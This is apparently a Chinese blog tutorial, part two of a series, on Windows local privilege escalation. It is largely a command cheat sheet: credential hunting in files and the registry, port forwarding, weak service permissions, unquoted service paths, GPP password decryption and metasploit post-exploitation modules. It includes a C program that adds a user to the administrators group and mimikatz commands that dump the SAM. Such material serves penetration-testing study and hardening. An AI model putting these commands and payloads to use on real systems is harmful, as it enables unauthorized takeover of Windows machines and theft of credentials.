windows权限提升(二)

TL;DR

  • A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers, or changing the system time” (msdn.microsoft.com)
  • 首先来说说windows权限提升对于攻击者来说有哪些好处
    1.可以进行更多的攻击向量尝试
    2.可以获取到本地用户的哈希
    3.可以在网络层进行LLMNR、NBNS投毒等
    4.本地抓包
    5.安装软件
    6.可以从内存中获取明文的认证信息

    基本系统信息枚举

  • 在我们提权之前我们首先需要对这个系统需要有一定的了解,比如我们需要知道当前用户有哪些权限、系统打了哪些补丁等信息。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    # Basics
    systeminfo
    hostname
    # Who am I?
    whoami
    echo %username%
    # What users/localgroups are on the machine?
    net users
    net localgroups
    # More info about a specific user. Check if user has privileges.
    net user user1
    # View Domain Groups
    net group /domain
    # View Members of Domain Group
    net group /domain <Group Name>
    # Firewall
    netsh firewall show state
    netsh firewall show config
    # Network
    ipconfig /all
    route print
    arp -A
    # How well patched is the system?
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.." - to find specific KBs

明文密码存储

通过以下的命令进行查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*
# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*
# Find Browser Creds
enum_ie,enum_chrome(metasploit)
# SessionGopher - find Putty,winscp,RDP creds
[SessionGopher](https://github.com/Arvanaghi/SessionGopher)

关键文件查找

  • 在这些常见的文件中查找,其中有些可能是base64编码的。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    c:\users\xxx\Desktop\password.xls
    c:\sysprep.inf
    c:\sysprep\sysprep.xml
    c:\unattend.xml
    %WINDIR%\Panther\Unattend\Unattended.xml
    %WINDIR%\Panther\Unattended.xml
    dir c:\*vnc.ini /s /b
    dir c:\*ultravnc.ini /s /b
    dir c:\ /s /b | findstr /si *vnc.ini

注册表查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

仅对内网提供的服务

  • 有时候一些服务只是允许内网用户访问,例如一个mysql服务器为了安全不允许外部进行连接。此外一些拥有高权限的程序往往也是针对内网的网络或者机器。例如打印机接口等。这些服务服务往往是很脆弱的。

    1
    netstat -ano
  • 可能输出如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    Proto Local address Remote address State User Inode PID/Program name
    ----- ------------- -------------- ----- ---- ----- ----------------
    tcp 0.0.0.0:21 0.0.0.0:* LISTEN 0 0 -
    tcp 0.0.0.0:5900 0.0.0.0:* LISTEN 0 0 -
    tcp 0.0.0.0:6532 0.0.0.0:* LISTEN 0 0 -
    tcp 192.168.1.9:139 0.0.0.0:* LISTEN 0 0 -
    tcp 192.168.1.9:139 192.168.1.9:32874 TIME_WAIT 0 0 -
    tcp 192.168.1.9:445 192.168.1.9:40648 ESTABLISHED 0 0 -
    tcp 192.168.1.9:1166 192.168.1.9:139 TIME_WAIT 0 0 -
    tcp 192.168.1.9:27900 0.0.0.0:* LISTEN 0 0 -
    tcp 127.0.0.1:445 127.0.0.1:1159 ESTABLISHED 0 0 -
    tcp 127.0.0.1:27900 0.0.0.0:* LISTEN 0 0 -
    udp 0.0.0.0:135 0.0.0.0:* 0 0 -
    udp 192.168.1.9:500 0.0.0.0:* 0 0 -
  • 注意监听的端口,对比一下你从外网扫描到的结果,这里面有没有是你外网访问不到的?

  • 如果是这样的,你可以通过端口转发来连接它。

    1
    2
    3
    4
    5
    6
    # Port forward using plink
    plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
    # Port forward using meterpreter
    portfwd add -l <attacker port> -p <victim port> -r <victim ip>
    portfwd add -l 3306 -p 3306 -r 192.168.1.101
  • 那么我们怎么解释netstat命令的输出呢?

    本地地址 0.0.0.0

  • 本地地址0.0.0.0意味着这个服务监听所有的接口,这个意味着你可以所有人都可以连接。

    本地地址 127.0.0.1

  • 本地地址127.0.0.1意味着只能接受本台pc的连接,不允许任何其它地方的连接。

    本地地址 192.168.1.9

  • 本地地址192.168.1.9意味着只是监听来自本地网络的连接,所以只有本地的网络可以连接它,外网是不能连接的。

    内核提权

  • 内核提权应该是我们最后万不得已才使用的方法,因为它往往容易导致系统不稳定或造成其它方面的问题。
  • 首先来看一下系统的补丁情况
    1
    2
    3
    4
    5
    6
    systeminfo
    # or
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    # metasploit enumerate missing patches
    post/windows/gather/enum_patches
    post/multi/recon/local_exploit_suggester

python 转换成二进制文件

  • 如果我们的exploit是用python写的,但是受害机又没有python环境,我们这个时候可以使用pyinstaller或者其它工具将其转换成二进制文件。

    计划任务

  • 我们通过如下的命令查看任务

    1
    schtasks /query /fo LIST /v
  • 这个输出可能会很多,这个时候可以通过使用findstr命令进行一下过滤,我往往是将其粘贴到txt文档中,然后通过linux命令进行查找。虽然不是很优雅,但是能解决
    问题,你也可以修改SYSTEM为其它的高权限用户。

    1
    cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM

脆弱的服务权限

  • 服务是windows上没有图形化界面运行在后台的程序。
  • 如果你发现一个服务允许everyone写,那么你可以将你的二进制文件写到这个目录并让它去执行。
  • 首先我们可以使用wmic或者sc.exe去发现服务,wmic并不是每台windows机器上都有,且有可能对你当前的用户不可用,如果你用不了它,你可以使用sc.exe
    1
    accesschk.exe -uwcqv "Authenticated Users" * /accepteula

WMIC

1
wmic service list brief
  • 这个命令将会输出当前机器所运行的服务,这个时候我们需要找到这些有权限漏洞的服务,为了检查权限问题我们可以使用icacls这个命令,注意这个命令从vista才开始支持,xp或者以下用的是cacls命令。
  • 如下的命令用于查看运行文件在非system32目录下的服务,并且使用icacls查看对应的权限。前提是你能够使用wmic,且你在c:\windows\temp目录有些权限。
    1
    2
    3
    for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
    for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

  • system32目录被排除了,因为他们大多是正确的,一般都是系统创建的。

    sc.exe

    1
    2
    3
    4
    5
    6
    7
    8
    sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
    FOR /F %i in (Servicenames.txt) DO echo %i
    type Servicenames.txt
    FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
    FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
  • 现在你就可以使用cacls命令来逐个查看每个文件权限了。

    1
    cacls "C:\path\to\file.exe"

查看脆弱点

  • 我们需要关注的是用户安装的二进制文件,而不是系统自带的,而且我们想要找的是这样权限的 BUILTIN\Users:(F) ,就是内建用户拥有所有权限的,或者是user/usergroup有F或者C权限的。
    例如:

    1
    2
    3
    4
    5
    C:\path\to\file.exe
    BUILTIN\Users:F
    BUILTIN\Power Users:C
    BUILTIN\Administrators:F
    NT AUTHORITY\SYSTEM:F
  • 这就意味着你当前用户拥有写权限,这个时候你可以重命名这个exe程序,然后将你的恶意程序放在这个目录下。然后重启这个程序,你的恶意程序就会被执行。这个恶意程序可以使用msfvenom来实现反弹shell或者获取最高权限。

  • 下面的poc用于创建一个管理员组的用户

    1
    2
    3
    4
    5
    6
    7
    #include <stdlib.h>
    int main ()
    {
    int i;
    i = system("net localgroup administrators theusername /add");
    return 0;
    }
  • 然后我们可以使用mingw编译它

    1
    i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

重启服务

  • 现在我们需要重启服务来让我们的“恶意”程序得以执行,我们可以使用wmic命令或者net命令:
    1
    wmic service NAMEOFSERVICE call startservice
1
net stop [service name] && net start [service name].
  • 这个时候你的二进制文件就会以system或者以管理员上下文进行执行。

    移植你的meterpreter shell

  • 如果你的meterpreter 会话不稳定这个时候你可以迁移到一个稳定的服务上,例如移植到winlogon这个服务上,这个服务是以system权限运行的,且一般是一直运行的。我们可以使用如下的命令查看winlogon的PID
    1
    wmic process list brief | find "winlogon"

这个是有可以使用 migrate pid 进行转移。
这里有个很好的例子!!!PTP Lab — Privilege Escalation with Services

没有加双引号的服务路径

1
2
3
4
5
6
7
8
# Using WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
# Using sc
sc query
sc qc service name
# Look for Binary_path_name and see if it is unquoted.
  • 如果路径包含了空格且没有被双引号闭合,那么这个服务是容易受攻击的。

    更多
    更多1

    如何利用

  • 如果可执行文件的路径是这样的

    1
    c:\Program Files\something\winamp.exe
  • 我们可以放如下的程序在这里

    1
    c:\program.exe

当服务重启的时候将会执行program.exe,我们可以利用任何有空格的目录,不仅仅是program files目录。

  • 更多的攻击技巧可以看这里:
    http://toshellandback.com/2015/11/24/ms-priv-esc/
    metasploit 也有这个模块 exploit/windows/local/trusted_service_path

    AlwaysInstallElevated

  • AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),默认是没有配置的(即无法利用的)。

    1
    2
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • 这个配置错误的不多,更多可以看向这里https://xz.aliyun.com/t/203

    组策略

  • 如果一个机器是加入域了的,当前用户可以查看系统信息卷,这里可能有敏感的文件。
  • 首先我们需要装载这个卷,为了查找到域控机器的ip地址,我们先看一下环境变量。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    # Output environment-variables
    set
    # Look for the following:
    LOGONSERVER=\\NAMEOFSERVER
    USERDNSDOMAIN=WHATEVER.LOCAL
    # Look up ip-addres
    nslookup nameofserver.whatever.local
    # It will output something like this
    Address: 192.168.1.101
    # Now we mount it
    net use z: \\192.168.1.101\SYSVOL
    # And enter it
    z:
    # Now we search for the groups.xml file
    dir Groups.xml /s
  • 如果发现有password,我们可以使用kali中的工具进行解密

    1
    gpp-decrypt encryptedpassword

从admin到system权限

  • 有些时候需要用到system权限,例如操作注册表HKEY_LOCAL_MACHINE\SAM\SAM,以下总结一下从admin权限到system权限的技巧。

    xp和xp之前

  • 如果你是一个有GUI界面的管理员组用户,如果你直接打开cmd.exe的时候,你只是以普通用户运行的这个程序,而当你右键 以管理员身份运行你需要知道管理员密码。
    你可能不知道,所以这个时候你可以去c:\windows\system32 目录去运行cmd.exe 程序。
  • 我们想要成为system 用户,还需要做以下的工作:

    1
    2
    3
    time
    # Now we set the time we want the system CMD to start. Probably one minuter after the time.
    at 01:23 /interactive cmd.exe
  • 然后system权限的cmd就出现了。

    vista之后或者更新的系统

  • 你首先需要上传一个psexec.exe 然后运行如下的命令
    1
    psexec -i -s cmd.exe

创建服务的方式

1
sc create syscmd binPath= "cmd /K start" type= own type= interact

使用metasploit

  • 如果你有个metasploit的meterpreter的会话,直接运行getsystem就可以
  • xpn专门写了篇文章分析了getsystem中使用的技术

    referer

    mimikatz

    1
    2
    3
    4
    privilege::debug
    token::whoami
    token::elevate
    lsadump::sam

other

  • 这里有个问题,就是system权限是windows最高的权限,那么是不是就可以“为所欲为”?,那么你可以尝试删除一下c:\windows\system32目录下的某个文件(cmd.exe除外不排除有其它的程序),发现竟然删除不了。
  • Files in System32 are typically owned by “TrustedInstaller” and are locked down really tightly. If you really, absolutely feel you must do this, the easiest way is to boot from a Linux LiveCD or a Windows install disk.
    stackoverflow
    Windows 7/8/10 – How to Delete Files Protected by TrustedInstaller
  • 这个TrustedInstaller是比较有趣的用户,可以理解为安装系统的人,一般的administrator组或者system组的用户都是修改不了所属TrustedInstaller的问题,所以想要修改这种文件,只能通过修改文件所有者才能达到自己想要的结果。

    后渗透模块

  • metasploit有一些有意思的后渗透模块,你需要有一个meterpreter shell 然后去运行这些后渗透模块
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    use exploit/windows/local/service_permissions
    post/windows/gather/credentials/gpp
    run post/windows/gather/credential_collector
    run post/multi/recon/local_exploit_suggester
    run post/windows/gather/enum_shares
    run post/windows/gather/enum_snmp
    run post/windows/gather/enum_applications
    run post/windows/gather/enum_logged_on_users
    run post/windows/gather/checkvm

脆弱的驱动

  • 一些驱动可能是容易受攻击的,我对这块儿还是不是很擅长。
    1
    2
    # List all drivers
    driverquery

内核漏洞提权

工具

PowerUp

Reference

Privilege Escalation Windows
Windows Privilege Escalation Techniques (Local)
Level Up! - Practical Windows Privilege Escalation
Windows Privilege Escalation Unquoted Service part1/2/3
RomHack 2018 - show me your Windows privileges and I will lead you to SYSTEM - Pierini